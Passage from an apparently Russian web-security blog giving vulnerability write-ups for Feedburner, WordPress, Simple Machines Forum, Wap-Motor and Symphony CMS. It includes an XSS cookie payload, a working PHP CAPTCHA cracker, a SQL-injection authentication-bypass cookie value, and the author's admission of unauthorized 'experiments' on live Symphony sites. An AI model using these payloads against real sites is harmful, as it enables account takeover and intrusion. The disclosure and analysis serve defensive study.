<? Raz0r.name — блог о web-безопасности

Feedburner.com – один из самых популярных среди блогеров сервисов для управления RSS-фидами. Доверие к feedburner вызывает тот факт, что этот сервис был приобретен Google и в настоящее время находится во владении интернет-гиганта. Тем не менее, у сервиса есть проблемы с безопасностью, в чем я недавно убедился. Просматривая статистику своего блога на feedburner.com, неожиданно получил javascript алерт с содержимым своих Cookie. Сначала я подумал, что это какие-то неаккуратные тесты разработчиков, однако, просмотрев исходный код страницы, обнаружил алерт в том месте, где выводилась информация о Referer пользователей, посетивших сайт. Видимо кто-то специально обратился к моему блогу с <script>alert(document.cookie)</script> в Referer, но не подозревая, что в статистике Feedburner этот HTTP-заголовок не фильтруется.

Уязвимость имеет место в статистике посещений сайта, однако для ведения этой статистики администратору необходимо установить специальный JS-код в исходник своего блога. Таким образом, XSS подвержены только те пользователи сервиса, у которых данная опция включена.

Пока уязвимость не устранили, рекомендую блогерам снять на время галку с этого пункта. Учитывая, что это возможно неединственная уязвимость на фидбернере, также советую воспользоваться плагином NoScript для Firefox.

Вот и появился первый эксплоит для уязвимости SQL Column Truncation, о чем не так давно писал Стефан Эссер, специалист, обнаруживший данную уязвимость. Причем дыра найдена не в каком-нибудь малоизвестном движке, а в Wordpress! Тем не менее повода для паники нет, так как уязвимость некритична: все что удастся нападающему – это сменить пароль администратору, но узнать его не получится. Кроме того, на атакуемом блоге должна быть включена опция регистрации пользователей.

PoC: http://milw0rm.com/exploits/6397

Также читайте мою статью, посвященную SQL Column Truncation.

Обнаружил уязвимость в Simple Machines Forum <= 1.1.5, связанную с предсказуемостью кода подтверждения для смены пароля, а также CAPTCHA в модуле регистрации. Оба механизма используют в своем алгоритме функцию rand(), о недостатках которой я писал в прошлой статье.

Сброс пароля администратора

SMF выявляет случайное число, сгенерированное с помощью rand(), в виде md5-хэша в самой форме восстановления пароля (hidden параметр sc):

<?php
$_SESSION['rand_code'] = md5(session_id() . rand());
$sc = $_SESSION['rand_code'];
?>

Активационный ключ генерируется следующим образом:

<?php
$password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
?>

Так как максимальное значение случайного числа на win32 является 32767 и идентификатор сессии известен, то перебором md5-хэша можно получить случайное число. В win32 любое число, сгенерированное с помощью rand(), становится сидом для следующего числа, таким образом можно предугадать все последующие числа и вычислить активационный ключ.

http://milw0rm.com/exploits/6392

Вычисление кода CAPTCHA

SMF выявляет случайное число в модуле регистрации (ссылки на изображения с кодом CAPTCHA):

<?php
$context['verificiation_image_href'] = $scripturl . '?action=verificationcode;rand=' . md5(rand());
?>

Сам код CAPTCHA генерируется следующим образом:

<?php
$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
// Generate a new code.
$_SESSION['visual_verification_code'] = '';
for ($i = 0; $i < 5; $i++)
$_SESSION['visual_verification_code'] .= $character_range[array_rand($character_range)];
?>

Функция array_rand() использует внутренний вызов rand(), поэтому определив перебором предыдущее случайное число в ссылках, можно вычислить сам код (опять-таки актуально только для win32).

<?php

/**
 * Simple Machines Forum <= 1.1.5 CAPTCHA cracker (win32)
 * by Raz0r (http://Raz0r.name/)
 */

$url = "http://localhost/smf/";

$html = file_get_contents("{$url}index.php?action=register");
$out=array();
preg_match("@rand=([0-9a-f]+)@i",$html,$out);
if(isset($out[1])){
	$rand = bfmd5($out[1]);
	srand($rand);
	$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
	for ($i = 0; $i < 5; $i++) {
		echo $character_range[array_rand($character_range)];
	}
}

function bfmd5($md5) {
	for($i=0;$i<=32767;$i++){
		if($md5 == md5($i)) {
			return $i;
		}
	}
	return false;
}
?>

Совсем недавно известный эксперт по безопасности Стефан Эссер (Stefan Esser) опубликовал в своем блоге статью, посвященную новой уязвимости, связанной с особенностями сравнения строк и автоматического усечения данных в MySQL. Именно Стефан обнаружил знаменитую дыру zend_hash_del_key_or_index, после чего в Сети появилось множество эксплоитов для популярных веб-приложений. Похоже в этот раз дело грозит обернуться теми же последствиями.

Read more »

Сайт разработчика: http://visavi.net/
Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии

Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных:

<?php
extract($HTTP_GET_VARS);
extract($HTTP_POST_VARS);
extract($HTTP_COOKIE_VARS);
extract($HTTP_SERVER_VARS);
extract($HTTP_SESSION_VARS);
?>

На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56):

<?php
if(empty($f)){$f='index';}
echo $p.'/'.$f.'.'.$config_ras;
$sfx = file($p.'/'.$f.'.'.$config_ras);
if (!$sfx){
	echo 'Файл с данными параметрами не найден!';
}else{
	include_once $p.'/'.$f.'.'.$config_ras;
}
?>

Система предполагает получение переменных $p и $f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (index.php@23):

<?php
if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
?>

При передаче параметров p и f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include. Read more »

Сайт разработчика: http://21degrees.com.au/
Уязвимые версии: Symphony 2 Beta до revision 5
Уязвимый код в /symphony/lib/core/class.symphony.php@126-142:

<?php
public function isLoggedIn(){
  $un = $this->Cookie->get('username');
  $pw = $this->Cookie->get('pass');
  $id = $this->Database->fetchVar('id', 0, "SELECT `id` FROM `tbl_authors`
    WHERE `username` = '$un' AND `password` = '$pw' LIMIT 1");
  if($id){
    /* [...] */
  }
/* [...] */
}
?>

Описание: данные в переменных $un (username) и $pw (password) не проверяются должным образом перед извлечением из массива $_COOKIE, что ведет к SQL-инъекции, позволяющей обойти авторизацию пользователей и получить права администратора. Для удачного осуществления атаки magic_quotes_gpc=off не требуется, так как система убирает все дополнительные слэши сама.
Эксплоит: sym-[username]=%27+OR+1%3D1%2F%2A (необходимо передать в cookie)

Однажды я натолкнулся на Symphony – бесплатную платформу для публикации в web с открытым исходным кодом. Основное достоинство системы – использование XSLT в шаблонах, что является достаточно редким явлением среди платформ подобного рода. Сведений в багтраке по поводу обнаружения уязвимостей в Symphony я не нашел, поэтому без колебаний решил провести пен-тестинг движка с целью выявления какого-нибудь крупного бага. Было найдено несколько уязвимостей, которые в совокупности позволяли совершить произвольное выполнение команд. Выкладывать в багтрак найденные дыры я не стал, однако пару дней назад на официальном форуме Symphony обнаружили, что на многих сайтах с этой CMS появились некоторые изменения. Не скрою, кое-какие эксперименты я проводил. После выявления самими разработчиками некоторых багов в системе и публикации патча, смысла держать эксплоит не нахожу. Подробное описание уязвимостей идет ниже. Read more »

Всем известны два типа XSS:

• Пассивные XSS (reflected или Type 1 XSS) – переданные данные отражаются в HTML-коде страницы только для конкретного пользователя
• Активные XSS (persistent или Type 2 XSS) – постоянные XSS; злонамеренные данные хранятся на сервере – все пользователи сайта могут быть подвержены данной атаке

Однако далеко не всем известен еще один тип XSS, а именно межсайтовый скриптинг через DOM (DOM-based или Type 0 (3) XSS). Объектная модель документа (DOM) является формой отображения иерархии HTML (а также XML) для JavaScript. XSS-атаки через DOM возможны благодаря недостаточной обработке на уровне JavaScript таких объектов DOM, как document.URL, document.location, document.referrer и некоторых других. Принципиальным отличием данного типа XSS является тот факт, что данные вообще не встраиваются в HTML-код. Несомненно, это вызывает определенные трудности для систем IDS в плане выяления фактов атак и эффективной фильтрации входящих данных, так как уязвимость заключена не на стороне серверных скриптов, а прямо в JavaScript-коде. Read more »

Недавно на milw0rm’е был опубликован эксплоит для популярного форумного движка  Simple  Machines  Forum  версии 1.1.4, являющейся довольно распространенной на просторах интернета. Уязвимость связана с реализацией SQL-инъекции, основанной на особенностях мультибайтовых кодировок, которые позволяют обойти экранирование опасных символов с помощью функции addslashes().

Итак, уязвимость возможна благодаря тому, что при установке SMF переменная $db_character_set не записываются в конфигурационный файл, если пользователь оставил кодировку соединения с базой данных по умолчанию (в SMF это UTF-8). При включенной опции register_globals злоумышленник может назначить этой переменной любое значение, состоящее из буквенно-цифровых символов. Таким образом, вместо стандартной кодировки можно назначить любую другую, включая определенные мультибайтовые кодировки, позволяющие обойти фильтрацию входящих данных посредством addslashes() на символ одинарной кавычки. К таким кодировкам относятся SJIS, BIG5 и GBK. В чем же заключается ошибка addslashes()? Дело в том, что addslashes() просто добавляет обратный слэш перед одинарными (0×27) и двойными кавычками (0×22), перед бэклсэшем (0×5c) и перед null байтом (0×00), причем эта функция не проверяет какой символ в итоге будет создан. Например, в кодировке GBK мультбайтовый символ 0xbf27 не является допустимым, однако 0xbf5c воспринимается как приемлемый. Точно так же и для BIG5: 0xa327 – неправильный символ, но после того, как addslashes() добавит слэш перед 0×27, у нас получится следующая последоавтельность байтов: 0xa35c27. 0xa35c является корректным мультибайтовым символом для кодировки BIG5, т.е. он будет рассматриваться как один символ, в то время как 0×27 станет самостоятельным и одинарная кавычка останется без экранирования.

Read more »

Сегодня обнаружил, что RST/GHC вдруг возродилась. Признаться, для меня это было открытие. Только теперь объединенная команда состоит еще из одной тимы: UKT. Кто это такие мне пока неизвестно. А вот сплоит для одноклассников теперь известен всем =) Сегодня его раздавали на IRC-канале всем желающим. Read more »